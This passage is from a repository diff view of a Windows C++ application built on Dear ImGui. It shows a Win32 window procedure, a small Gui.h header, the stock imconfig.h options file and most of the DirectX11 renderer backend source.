LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam))
return true;
switch (msg)
{
case WM_SIZE:
if (wParam == SIZE_MINIMIZED)
return 0;
g_ResizeWidth = (UINT)LOWORD(lParam);
g_ResizeHeight = (UINT)HIWORD(lParam);
return 0;
case WM_SYSCOMMAND:
if ((wParam & 0xfff0) == SC_KEYMENU)
return 0;
break;
case WM_DESTROY:
::PostQuitMessage(0);
return 0;
}
return ::DefWindowProcW(hWnd, msg, wParam, lParam);
}
}
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#ifndef GUI_H
#define GUI_H
#include "Base.h"
namespace Gui
{
//´´˝¨ťćÖĆ´°żÚ
auto CreateGuiWindow()->BOOL;
}
#endif // !GUI_H
+147
View File
@@ -0,0 +1,147 @@
//-----------------------------------------------------------------------------
// DEAR IMGUI COMPILE-TIME OPTIONS
// Runtime options (clipboard callbacks, enabling various features, etc.) can generally be set via the ImGuiIO structure.
// You can use ImGui::SetAllocatorFunctions() before calling ImGui::CreateContext() to rewire memory allocation functions.
//-----------------------------------------------------------------------------
// A) You may edit imconfig.h (and not overwrite it when updating Dear ImGui, or maintain a patch/rebased branch with your modifications to it)
// B) or '#define IMGUI_USER_CONFIG "my_imgui_config.h"' in your project and then add directives in your own file without touching this template.
//-----------------------------------------------------------------------------
// You need to make sure that configuration settings are defined consistently _everywhere_ Dear ImGui is used, which include the imgui*.cpp
// files but also _any_ of your code that uses Dear ImGui. This is because some compile-time options have an affect on data structures.
// Defining those options in imconfig.h will ensure every compilation unit gets to see the same data structure layouts.
// Call IMGUI_CHECKVERSION() from your .cpp file to verify that the data structures your files are using are matching the ones imgui.cpp is using.
//-----------------------------------------------------------------------------
#pragma once
//---- Define assertion handler. Defaults to calling assert().
// - If your macro uses multiple statements, make sure is enclosed in a 'do { .. } while (0)' block so it can be used as a single statement.
// - Compiling with NDEBUG will usually strip out assert() to nothing, which is NOT recommended because we use asserts to notify of programmer mistakes.
//#define IM_ASSERT(_EXPR) MyAssert(_EXPR)
//#define IM_ASSERT(_EXPR) ((void)(_EXPR)) // Disable asserts
//---- Define attributes of all API symbols declarations, e.g. for DLL under Windows
// Using Dear ImGui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility.
// - Windows DLL users: heaps and globals are not shared across DLL boundaries! You will need to call SetCurrentContext() + SetAllocatorFunctions()
// for each static/DLL boundary you are calling from. Read "Context and Memory Allocators" section of imgui.cpp for more details.
//#define IMGUI_API __declspec(dllexport) // MSVC Windows: DLL export
//#define IMGUI_API __declspec(dllimport) // MSVC Windows: DLL import
//#define IMGUI_API __attribute__((visibility("default"))) // GCC/Clang: override visibility when set is hidden
//---- Don't define obsolete functions/enums/behaviors. Consider enabling from time to time after updating to clean your code of obsolete function/names.
//#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS
//---- Disable all of Dear ImGui or don't implement standard windows/tools.
// It is very strongly recommended to NOT disable the demo windows and debug tool during development. They are extremely useful in day to day work. Please read comments in imgui_demo.cpp.
//#define IMGUI_DISABLE // Disable everything: all headers and source files will be empty.
//#define IMGUI_DISABLE_DEMO_WINDOWS // Disable demo windows: ShowDemoWindow()/ShowStyleEditor() will be empty.
//#define IMGUI_DISABLE_DEBUG_TOOLS // Disable metrics/debugger and other debug tools: ShowMetricsWindow(), ShowDebugLogWindow() and ShowIDStackToolWindow() will be empty.
//---- Don't implement some functions to reduce linkage requirements.
//#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS // [Win32] Don't implement default clipboard handler. Won't use and link with OpenClipboard/GetClipboardData/CloseClipboard etc. (user32.lib/.a, kernel32.lib/.a)
//#define IMGUI_ENABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] [Default with Visual Studio] Implement default IME handler (require imm32.lib/.a, auto-link for Visual Studio, -limm32 on command-line for MinGW)
//#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] [Default with non-Visual Studio compilers] Don't implement default IME handler (won't require imm32.lib/.a)
//#define IMGUI_DISABLE_WIN32_FUNCTIONS // [Win32] Won't use and link with any Win32 function (clipboard, IME).
//#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS // [OSX] Implement default OSX clipboard handler (need to link with '-framework ApplicationServices', this is why this is not the default).
//#define IMGUI_DISABLE_DEFAULT_SHELL_FUNCTIONS // Don't implement default platform_io.Platform_OpenInShellFn() handler (Win32: ShellExecute(), require shell32.lib/.a, Mac/Linux: use system("")).
//#define IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS // Don't implement ImFormatString/ImFormatStringV so you can implement them yourself (e.g. if you don't want to link with vsnprintf)
//#define IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS // Don't implement ImFabs/ImSqrt/ImPow/ImFmod/ImCos/ImSin/ImAcos/ImAtan2 so you can implement them yourself.
//#define IMGUI_DISABLE_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite and ImFileHandle at all (replace them with dummies)
//#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite and ImFileHandle so you can implement them yourself if you don't want to link with fopen/fclose/fread/fwrite. This will also disable the LogToTTY() function.
//#define IMGUI_DISABLE_DEFAULT_ALLOCATORS // Don't implement default allocators calling malloc()/free() to avoid linking with them. You will need to call ImGui::SetAllocatorFunctions().
//#define IMGUI_DISABLE_DEFAULT_FONT // Disable default embedded fonts (ProggyClean/ProggyForever), remove ~9 KB + ~14 KB from output binary. AddFontDefaultXXX() functions will assert.
//#define IMGUI_DISABLE_SSE // Disable use of SSE intrinsics even if available
//---- Enable Test Engine / Automation features.
//#define IMGUI_ENABLE_TEST_ENGINE // Enable imgui_test_engine hooks. Generally set automatically by include "imgui_te_config.h", see Test Engine for details.
//---- Include imgui_user.h at the end of imgui.h as a convenience
// May be convenient for some users to only explicitly include vanilla imgui.h and have extra stuff included.
//#define IMGUI_INCLUDE_IMGUI_USER_H
//#define IMGUI_USER_H_FILENAME "my_folder/my_imgui_user.h"
//---- Pack vertex colors as BGRA8 instead of RGBA8 (to avoid converting from one to another). Need dedicated backend support.
//#define IMGUI_USE_BGRA_PACKED_COLOR
//---- Use legacy CRC32-adler tables (used before 1.91.6), in order to preserve old .ini data that you cannot afford to invalidate.
//#define IMGUI_USE_LEGACY_CRC32_ADLER
//---- Use 32-bit for ImWchar (default is 16-bit) to support Unicode planes 1-16. (e.g. point beyond 0xFFFF like emoticons, dingbats, symbols, shapes, ancient languages, etc...)
//#define IMGUI_USE_WCHAR32
//---- Avoid multiple STB libraries implementations, or redefine path/filenames to prioritize another version
// By default the embedded implementations are declared static and not available outside of Dear ImGui sources files.
//#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h"
//#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h"
//#define IMGUI_STB_SPRINTF_FILENAME "my_folder/stb_sprintf.h" // only used if IMGUI_USE_STB_SPRINTF is defined.
//#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION
//#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION
//#define IMGUI_DISABLE_STB_SPRINTF_IMPLEMENTATION // only disabled if IMGUI_USE_STB_SPRINTF is defined.
//---- Use stb_sprintf.h for a faster implementation of vsnprintf instead of the one from libc (unless IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS is defined)
// Compatibility checks of arguments and formats done by clang and GCC will be disabled in order to support the extra formats provided by stb_sprintf.h.
//#define IMGUI_USE_STB_SPRINTF
//---- Use FreeType to build and rasterize the font atlas (instead of stb_truetype which is embedded by default in Dear ImGui)
// Requires FreeType headers to be available in the include path. Requires program to be compiled with 'misc/freetype/imgui_freetype.cpp' (in this repository) + the FreeType library (not provided).
// Note that imgui_freetype.cpp may be used _without_ this define, if you manually call ImFontAtlas::SetFontLoader(). The define is simply a convenience.
// On Windows you may use vcpkg with 'vcpkg install freetype --triplet=x64-windows' + 'vcpkg integrate install'.
//#define IMGUI_ENABLE_FREETYPE
//---- Use FreeType + plutosvg or lunasvg to render OpenType SVG fonts (SVGinOT)
// Only works in combination with IMGUI_ENABLE_FREETYPE.
// - plutosvg is currently easier to install, as e.g. it is part of vcpkg. It will support more fonts and may load them faster. See misc/freetype/README for instructions.
// - Both require headers to be available in the include path + program to be linked with the library code (not provided).
// - (note: lunasvg implementation is based on Freetype's rsvg-port.c which is licensed under CeCILL-C Free Software License Agreement)
//#define IMGUI_ENABLE_FREETYPE_PLUTOSVG
//#define IMGUI_ENABLE_FREETYPE_LUNASVG
//---- Use stb_truetype to build and rasterize the font atlas (default)
// The only purpose of this define is if you want force compilation of the stb_truetype backend ALONG with the FreeType backend.
//#define IMGUI_ENABLE_STB_TRUETYPE
//---- Define constructor and implicit cast operators to convert back<>forth between your math types and ImVec2/ImVec4.
// This will be inlined as part of ImVec2 and ImVec4 class declarations.
/*
#define IM_VEC2_CLASS_EXTRA \
constexpr ImVec2(const MyVec2& f) : x(f.x), y(f.y) {} \
operator MyVec2() const { return MyVec2(x,y); }
#define IM_VEC4_CLASS_EXTRA \
constexpr ImVec4(const MyVec4& f) : x(f.x), y(f.y), z(f.z), w(f.w) {} \
operator MyVec4() const { return MyVec4(x,y,z,w); }
*/
//---- ...Or use Dear ImGui's own very basic math operators.
//#define IMGUI_DEFINE_MATH_OPERATORS
//---- Use 32-bit vertex indices (default is 16-bit) is one way to allow large meshes with more than 64K vertices.
// Your renderer backend will need to support it (most example renderer backends support both 16/32-bit indices).
// Another way to allow large meshes while keeping 16-bit indices is to handle ImDrawCmd::VtxOffset in your renderer.
// Read about ImGuiBackendFlags_RendererHasVtxOffset for details.
//#define ImDrawIdx unsigned int
//---- Override ImDrawCallback signature (will need to modify renderer backends accordingly)
//struct ImDrawList;
//struct ImDrawCmd;
//typedef void (*MyImDrawCallback)(const ImDrawList* draw_list, const ImDrawCmd* cmd, void* my_renderer_user_data);
//#define ImDrawCallback MyImDrawCallback
//---- Debug Tools: Macro to break in Debugger (we provide a default implementation of this in the codebase)
// (use 'Metrics->Tools->Item Picker' to pick widgets with the mouse and break into them for easy debugging.)
//#define IM_DEBUG_BREAK IM_ASSERT(0)
//#define IM_DEBUG_BREAK __debugbreak()
//---- Debug Tools: Enable highlight ID conflicts _before_ hovering items. When io.ConfigDebugHighlightIdConflicts is set.
// (THIS WILL SLOW DOWN DEAR IMGUI. Only use occasionally and disable after use)
//#define IMGUI_DEBUG_HIGHLIGHT_ALL_ID_CONFLICTS
//---- Debug Tools: Enable slower asserts
//#define IMGUI_DEBUG_PARANOID
//---- Tip: You can add extra functions within the ImGui:: namespace from anywhere (e.g. your own sources/header files)
/*
namespace ImGui
{
void MyFunction(const char* name, MyMatrix44* mtx);
}
*/
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+685
View File
@@ -0,0 +1,685 @@
// dear imgui: Renderer Backend for DirectX11
// This needs to be used along with a Platform Backend (e.g. Win32)
// Implemented features:
// [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as texture identifier. Read the FAQ about ImTextureID/ImTextureRef!
// [X] Renderer: Large meshes support (64k+ vertices) even with 16-bit indices (ImGuiBackendFlags_RendererHasVtxOffset).
// [X] Renderer: Texture updates support for dynamic font atlas (ImGuiBackendFlags_RendererHasTextures).
// [X] Renderer: Expose selected render state for draw callbacks to use. Access in '(ImGui_ImplXXXX_RenderState*)GetPlatformIO().Renderer_RenderState'.
// You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
// Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need.
// Learn about Dear ImGui:
// - FAQ https://dearimgui.com/faq
// - Getting Started https://dearimgui.com/getting-started
// - Documentation https://dearimgui.com/docs (same as your local docs/ folder).
// - Introduction, links and more at the top of imgui.cpp
// CHANGELOG
// (minor and older changes stripped away, please see git history for details)
// 2026-01-19: DirectX11: Added 'SamplerNearest' in ImGui_ImplDX11_RenderState. Renamed 'SamplerDefault' to 'SamplerLinear'.
// 2025-09-18: Call platform_io.ClearRendererHandlers() on shutdown.
// 2025-06-11: DirectX11: Added support for ImGuiBackendFlags_RendererHasTextures, for dynamic font atlas.
// 2025-05-07: DirectX11: Honor draw_data->FramebufferScale to allow for custom backends and experiment using it (consistently with other renderer backends, even though in normal condition it is not set under Windows).
// 2025-01-06: DirectX11: Expose VertexConstantBuffer in ImGui_ImplDX11_RenderState. Reset projection matrix in ImDrawCallback_ResetRenderState handler.
// 2024-10-07: DirectX11: Changed default texture sampler to Clamp instead of Repeat/Wrap.
// 2024-10-07: DirectX11: Expose selected render state in ImGui_ImplDX11_RenderState, which you can access in 'void* platform_io.Renderer_RenderState' during draw callbacks.
// 2022-10-11: Using 'nullptr' instead of 'NULL' as per our switch to C++11.
// 2021-06-29: Reorganized backend to pull data from a single structure to facilitate usage with multiple-contexts (all g_XXXX access changed to bd->XXXX).
// 2021-05-19: DirectX11: Replaced direct access to ImDrawCmd::TextureId with a call to ImDrawCmd::GetTexID(). (will become a requirement)
// 2021-02-18: DirectX11: Change blending equation to preserve alpha in output buffer.
// 2019-08-01: DirectX11: Fixed code querying the Geometry Shader state (would generally error with Debug layer enabled).
// 2019-07-21: DirectX11: Backup, clear and restore Geometry Shader is any is bound when calling ImGui_ImplDX11_RenderDrawData. Clearing Hull/Domain/Compute shaders without backup/restore.
// 2019-05-29: DirectX11: Added support for large mesh (64K+ vertices), enable ImGuiBackendFlags_RendererHasVtxOffset flag.
// 2019-04-30: DirectX11: Added support for special ImDrawCallback_ResetRenderState callback to reset render state.
// 2018-12-03: Misc: Added #pragma comment statement to automatically link with d3dcompiler.lib when using D3DCompile().
// 2018-11-30: Misc: Setting up io.BackendRendererName so it can be displayed in the About Window.
// 2018-08-01: DirectX11: Querying for IDXGIFactory instead of IDXGIFactory1 to increase compatibility.
// 2018-07-13: DirectX11: Fixed unreleased resources in Init and Shutdown functions.
// 2018-06-08: Misc: Extracted imgui_impl_dx11.cpp/.h away from the old combined DX11+Win32 example.
// 2018-06-08: DirectX11: Use draw_data->DisplayPos and draw_data->DisplaySize to setup projection matrix and clipping rectangle.
// 2018-02-16: Misc: Obsoleted the io.RenderDrawListsFn callback and exposed ImGui_ImplDX11_RenderDrawData() in the .h file so you can call it yourself.
// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves.
// 2016-05-07: DirectX11: Disabling depth-write.
#include "imgui.h"
#ifndef IMGUI_DISABLE
#include "imgui_impl_dx11.h"
// DirectX
#include <stdio.h>
#include <d3d11.h>
#include <d3dcompiler.h>
#ifdef _MSC_VER
#pragma comment(lib, "d3dcompiler") // Automatically link with d3dcompiler.lib as we are using D3DCompile() below.
#endif
// Clang/GCC warnings with -Weverything
#if defined(__clang__)
#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse.
#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness
#endif
// DirectX11 data
struct ImGui_ImplDX11_Texture
{
ID3D11Texture2D* pTexture;
ID3D11ShaderResourceView* pTextureView;
};
struct ImGui_ImplDX11_Data
{
ID3D11Device* pd3dDevice;
ID3D11DeviceContext* pd3dDeviceContext;
IDXGIFactory* pFactory;
ID3D11Buffer* pVB;
ID3D11Buffer* pIB;
ID3D11VertexShader* pVertexShader;
ID3D11InputLayout* pInputLayout;
ID3D11Buffer* pVertexConstantBuffer;
ID3D11PixelShader* pPixelShader;
ID3D11SamplerState* pTexSamplerLinear;
ID3D11SamplerState* pTexSamplerNearest;
ID3D11RasterizerState* pRasterizerState;
ID3D11BlendState* pBlendState;
ID3D11DepthStencilState* pDepthStencilState;
int VertexBufferSize;
int IndexBufferSize;
ImGui_ImplDX11_Data() { memset((void*)this, 0, sizeof(*this)); VertexBufferSize = 5000; IndexBufferSize = 10000; }
};
struct VERTEX_CONSTANT_BUFFER_DX11
{
float mvp[4][4];
};
// Backend data stored in io.BackendRendererUserData to allow support for multiple Dear ImGui contexts
// It is STRONGLY preferred that you use docking branch with multi-viewports (== single Dear ImGui context + multiple windows) instead of multiple Dear ImGui contexts.
static ImGui_ImplDX11_Data* ImGui_ImplDX11_GetBackendData()
{
return ImGui::GetCurrentContext() ? (ImGui_ImplDX11_Data*)ImGui::GetIO().BackendRendererUserData : nullptr;
}
// Functions
static void ImGui_ImplDX11_SetupRenderState(const ImDrawData* draw_data, ID3D11DeviceContext* device_ctx)
{
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
// Setup viewport
D3D11_VIEWPORT vp = {};
vp.Width = draw_data->DisplaySize.x * draw_data->FramebufferScale.x;
vp.Height = draw_data->DisplaySize.y * draw_data->FramebufferScale.y;
vp.MinDepth = 0.0f;
vp.MaxDepth = 1.0f;
vp.TopLeftX = vp.TopLeftY = 0;
device_ctx->RSSetViewports(1, &vp);
// Setup orthographic projection matrix into our constant buffer
// Our visible imgui space lies from draw_data->DisplayPos (top left) to draw_data->DisplayPos+data_data->DisplaySize (bottom right). DisplayPos is (0,0) for single viewport apps.
D3D11_MAPPED_SUBRESOURCE mapped_resource;
if (device_ctx->Map(bd->pVertexConstantBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mapped_resource) == S_OK)
{
VERTEX_CONSTANT_BUFFER_DX11* constant_buffer = (VERTEX_CONSTANT_BUFFER_DX11*)mapped_resource.pData;
float L = draw_data->DisplayPos.x;
float R = draw_data->DisplayPos.x + draw_data->DisplaySize.x;
float T = draw_data->DisplayPos.y;
float B = draw_data->DisplayPos.y + draw_data->DisplaySize.y;
float mvp[4][4] =
{
{ 2.0f/(R-L), 0.0f, 0.0f, 0.0f },
{ 0.0f, 2.0f/(T-B), 0.0f, 0.0f },
{ 0.0f, 0.0f, 0.5f, 0.0f },
{ (R+L)/(L-R), (T+B)/(B-T), 0.5f, 1.0f },
};
memcpy(&constant_buffer->mvp, mvp, sizeof(mvp));
device_ctx->Unmap(bd->pVertexConstantBuffer, 0);
}
// Setup shader and vertex buffers
unsigned int stride = sizeof(ImDrawVert);
unsigned int offset = 0;
device_ctx->IASetInputLayout(bd->pInputLayout);
device_ctx->IASetVertexBuffers(0, 1, &bd->pVB, &stride, &offset);
device_ctx->IASetIndexBuffer(bd->pIB, sizeof(ImDrawIdx) == 2 ? DXGI_FORMAT_R16_UINT : DXGI_FORMAT_R32_UINT, 0);
device_ctx->IASetPrimitiveTopology(D3D11_PRIMITIVE_TOPOLOGY_TRIANGLELIST);
device_ctx->VSSetShader(bd->pVertexShader, nullptr, 0);
device_ctx->VSSetConstantBuffers(0, 1, &bd->pVertexConstantBuffer);
device_ctx->PSSetShader(bd->pPixelShader, nullptr, 0);
device_ctx->PSSetSamplers(0, 1, &bd->pTexSamplerLinear);
device_ctx->GSSetShader(nullptr, nullptr, 0);
device_ctx->HSSetShader(nullptr, nullptr, 0); // In theory we should backup and restore this as well.. very infrequently used..
device_ctx->DSSetShader(nullptr, nullptr, 0); // In theory we should backup and restore this as well.. very infrequently used..
device_ctx->CSSetShader(nullptr, nullptr, 0); // In theory we should backup and restore this as well.. very infrequently used..
// Setup render state
const float blend_factor[4] = { 0.f, 0.f, 0.f, 0.f };
device_ctx->OMSetBlendState(bd->pBlendState, blend_factor, 0xffffffff);
device_ctx->OMSetDepthStencilState(bd->pDepthStencilState, 0);
device_ctx->RSSetState(bd->pRasterizerState);
}
// Render function
void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data)
{
// Avoid rendering when minimized
if (draw_data->DisplaySize.x <= 0.0f || draw_data->DisplaySize.y <= 0.0f)
return;
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
ID3D11DeviceContext* device = bd->pd3dDeviceContext;
// Catch up with texture updates. Most of the times, the list will have 1 element with an OK status, aka nothing to do.
// (This almost always points to ImGui::GetPlatformIO().Textures[] but is part of ImDrawData to allow overriding or disabling texture updates).
if (draw_data->Textures != nullptr)
for (ImTextureData* tex : *draw_data->Textures)
if (tex->Status != ImTextureStatus_OK)
ImGui_ImplDX11_UpdateTexture(tex);
// Create and grow vertex/index buffers if needed
if (!bd->pVB || bd->VertexBufferSize < draw_data->TotalVtxCount)
{
if (bd->pVB) { bd->pVB->Release(); bd->pVB = nullptr; }
bd->VertexBufferSize = draw_data->TotalVtxCount + 5000;
D3D11_BUFFER_DESC desc = {};
desc.Usage = D3D11_USAGE_DYNAMIC;
desc.ByteWidth = bd->VertexBufferSize * sizeof(ImDrawVert);
desc.BindFlags = D3D11_BIND_VERTEX_BUFFER;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
desc.MiscFlags = 0;
if (bd->pd3dDevice->CreateBuffer(&desc, nullptr, &bd->pVB) < 0)
return;
}
if (!bd->pIB || bd->IndexBufferSize < draw_data->TotalIdxCount)
{
if (bd->pIB) { bd->pIB->Release(); bd->pIB = nullptr; }
bd->IndexBufferSize = draw_data->TotalIdxCount + 10000;
D3D11_BUFFER_DESC desc = {};
desc.Usage = D3D11_USAGE_DYNAMIC;
desc.ByteWidth = bd->IndexBufferSize * sizeof(ImDrawIdx);
desc.BindFlags = D3D11_BIND_INDEX_BUFFER;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
if (bd->pd3dDevice->CreateBuffer(&desc, nullptr, &bd->pIB) < 0)
return;
}
// Upload vertex/index data into a single contiguous GPU buffer
D3D11_MAPPED_SUBRESOURCE vtx_resource, idx_resource;
if (device->Map(bd->pVB, 0, D3D11_MAP_WRITE_DISCARD, 0, &vtx_resource) != S_OK)
return;
if (device->Map(bd->pIB, 0, D3D11_MAP_WRITE_DISCARD, 0, &idx_resource) != S_OK)
return;
ImDrawVert* vtx_dst = (ImDrawVert*)vtx_resource.pData;
ImDrawIdx* idx_dst = (ImDrawIdx*)idx_resource.pData;
for (const ImDrawList* draw_list : draw_data->CmdLists)
{
memcpy(vtx_dst, draw_list->VtxBuffer.Data, draw_list->VtxBuffer.Size * sizeof(ImDrawVert));
memcpy(idx_dst, draw_list->IdxBuffer.Data, draw_list->IdxBuffer.Size * sizeof(ImDrawIdx));
vtx_dst += draw_list->VtxBuffer.Size;
idx_dst += draw_list->IdxBuffer.Size;
}
device->Unmap(bd->pVB, 0);
device->Unmap(bd->pIB, 0);
// Backup DX state that will be modified to restore it afterwards (unfortunately this is very ugly looking and verbose. Close your eyes!)
struct BACKUP_DX11_STATE
{
UINT ScissorRectsCount, ViewportsCount;
D3D11_RECT ScissorRects[D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE];
D3D11_VIEWPORT Viewports[D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE];
ID3D11RasterizerState* RS;
ID3D11BlendState* BlendState;
FLOAT BlendFactor[4];
UINT SampleMask;
UINT StencilRef;
ID3D11DepthStencilState* DepthStencilState;
ID3D11ShaderResourceView* PSShaderResource;
ID3D11SamplerState* PSSampler;
ID3D11PixelShader* PS;
ID3D11VertexShader* VS;
ID3D11GeometryShader* GS;
UINT PSInstancesCount, VSInstancesCount, GSInstancesCount;
ID3D11ClassInstance *PSInstances[256], *VSInstances[256], *GSInstances[256]; // 256 is max according to PSSetShader documentation
D3D11_PRIMITIVE_TOPOLOGY PrimitiveTopology;
ID3D11Buffer* IndexBuffer, *VertexBuffer, *VSConstantBuffer;
UINT IndexBufferOffset, VertexBufferStride, VertexBufferOffset;
DXGI_FORMAT IndexBufferFormat;
ID3D11InputLayout* InputLayout;
};
BACKUP_DX11_STATE old = {};
old.ScissorRectsCount = old.ViewportsCount = D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE;
device->RSGetScissorRects(&old.ScissorRectsCount, old.ScissorRects);
device->RSGetViewports(&old.ViewportsCount, old.Viewports);
device->RSGetState(&old.RS);
device->OMGetBlendState(&old.BlendState, old.BlendFactor, &old.SampleMask);
device->OMGetDepthStencilState(&old.DepthStencilState, &old.StencilRef);
device->PSGetShaderResources(0, 1, &old.PSShaderResource);
device->PSGetSamplers(0, 1, &old.PSSampler);
old.PSInstancesCount = old.VSInstancesCount = old.GSInstancesCount = 256;
device->PSGetShader(&old.PS, old.PSInstances, &old.PSInstancesCount);
device->VSGetShader(&old.VS, old.VSInstances, &old.VSInstancesCount);
device->VSGetConstantBuffers(0, 1, &old.VSConstantBuffer);
device->GSGetShader(&old.GS, old.GSInstances, &old.GSInstancesCount);
device->IAGetPrimitiveTopology(&old.PrimitiveTopology);
device->IAGetIndexBuffer(&old.IndexBuffer, &old.IndexBufferFormat, &old.IndexBufferOffset);
device->IAGetVertexBuffers(0, 1, &old.VertexBuffer, &old.VertexBufferStride, &old.VertexBufferOffset);
device->IAGetInputLayout(&old.InputLayout);
// Setup desired DX state
ImGui_ImplDX11_SetupRenderState(draw_data, device);
// Setup render state structure (for callbacks and custom texture bindings)
ImGuiPlatformIO& platform_io = ImGui::GetPlatformIO();
ImGui_ImplDX11_RenderState render_state;
render_state.Device = bd->pd3dDevice;
render_state.DeviceContext = bd->pd3dDeviceContext;
render_state.SamplerLinear = bd->pTexSamplerLinear;
render_state.SamplerNearest = bd->pTexSamplerNearest;
render_state.VertexConstantBuffer = bd->pVertexConstantBuffer;
platform_io.Renderer_RenderState = &render_state;
// Render command lists
// (Because we merged all buffers into a single one, we maintain our own offset into them)
int global_idx_offset = 0;
int global_vtx_offset = 0;
ImVec2 clip_off = draw_data->DisplayPos;
ImVec2 clip_scale = draw_data->FramebufferScale;
for (const ImDrawList* draw_list : draw_data->CmdLists)
{
for (int cmd_i = 0; cmd_i < draw_list->CmdBuffer.Size; cmd_i++)
{
const ImDrawCmd* pcmd = &draw_list->CmdBuffer[cmd_i];
if (pcmd->UserCallback != nullptr)
{
// User callback, registered via ImDrawList::AddCallback()
// (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.)
if (pcmd->UserCallback == ImDrawCallback_ResetRenderState)
ImGui_ImplDX11_SetupRenderState(draw_data, device);
else
pcmd->UserCallback(draw_list, pcmd);
}
else
{
// Project scissor/clipping rectangles into framebuffer space
ImVec2 clip_min((pcmd->ClipRect.x - clip_off.x) * clip_scale.x, (pcmd->ClipRect.y - clip_off.y) * clip_scale.y);
ImVec2 clip_max((pcmd->ClipRect.z - clip_off.x) * clip_scale.x, (pcmd->ClipRect.w - clip_off.y) * clip_scale.y);
if (clip_max.x <= clip_min.x || clip_max.y <= clip_min.y)
continue;
// Apply scissor/clipping rectangle
const D3D11_RECT r = { (LONG)clip_min.x, (LONG)clip_min.y, (LONG)clip_max.x, (LONG)clip_max.y };
device->RSSetScissorRects(1, &r);
// Bind texture, Draw
ID3D11ShaderResourceView* texture_srv = (ID3D11ShaderResourceView*)pcmd->GetTexID();
device->PSSetShaderResources(0, 1, &texture_srv);
device->DrawIndexed(pcmd->ElemCount, pcmd->IdxOffset + global_idx_offset, pcmd->VtxOffset + global_vtx_offset);
}
}
global_idx_offset += draw_list->IdxBuffer.Size;
global_vtx_offset += draw_list->VtxBuffer.Size;
}
platform_io.Renderer_RenderState = nullptr;
// Restore modified DX state
device->RSSetScissorRects(old.ScissorRectsCount, old.ScissorRects);
device->RSSetViewports(old.ViewportsCount, old.Viewports);
device->RSSetState(old.RS); if (old.RS) old.RS->Release();
device->OMSetBlendState(old.BlendState, old.BlendFactor, old.SampleMask); if (old.BlendState) old.BlendState->Release();
device->OMSetDepthStencilState(old.DepthStencilState, old.StencilRef); if (old.DepthStencilState) old.DepthStencilState->Release();
device->PSSetShaderResources(0, 1, &old.PSShaderResource); if (old.PSShaderResource) old.PSShaderResource->Release();
device->PSSetSamplers(0, 1, &old.PSSampler); if (old.PSSampler) old.PSSampler->Release();
device->PSSetShader(old.PS, old.PSInstances, old.PSInstancesCount); if (old.PS) old.PS->Release();
for (UINT i = 0; i < old.PSInstancesCount; i++) if (old.PSInstances[i]) old.PSInstances[i]->Release();
device->VSSetShader(old.VS, old.VSInstances, old.VSInstancesCount); if (old.VS) old.VS->Release();
device->VSSetConstantBuffers(0, 1, &old.VSConstantBuffer); if (old.VSConstantBuffer) old.VSConstantBuffer->Release();
device->GSSetShader(old.GS, old.GSInstances, old.GSInstancesCount); if (old.GS) old.GS->Release();
for (UINT i = 0; i < old.VSInstancesCount; i++) if (old.VSInstances[i]) old.VSInstances[i]->Release();
device->IASetPrimitiveTopology(old.PrimitiveTopology);
device->IASetIndexBuffer(old.IndexBuffer, old.IndexBufferFormat, old.IndexBufferOffset); if (old.IndexBuffer) old.IndexBuffer->Release();
device->IASetVertexBuffers(0, 1, &old.VertexBuffer, &old.VertexBufferStride, &old.VertexBufferOffset); if (old.VertexBuffer) old.VertexBuffer->Release();
device->IASetInputLayout(old.InputLayout); if (old.InputLayout) old.InputLayout->Release();
}
static void ImGui_ImplDX11_DestroyTexture(ImTextureData* tex)
{
if (ImGui_ImplDX11_Texture* backend_tex = (ImGui_ImplDX11_Texture*)tex->BackendUserData)
{
IM_ASSERT(backend_tex->pTextureView == (ID3D11ShaderResourceView*)(intptr_t)tex->TexID);
backend_tex->pTextureView->Release();
backend_tex->pTexture->Release();
IM_DELETE(backend_tex);
// Clear identifiers and mark as destroyed (in order to allow e.g. calling InvalidateDeviceObjects while running)
tex->SetTexID(ImTextureID_Invalid);
tex->BackendUserData = nullptr;
}
tex->SetStatus(ImTextureStatus_Destroyed);
}
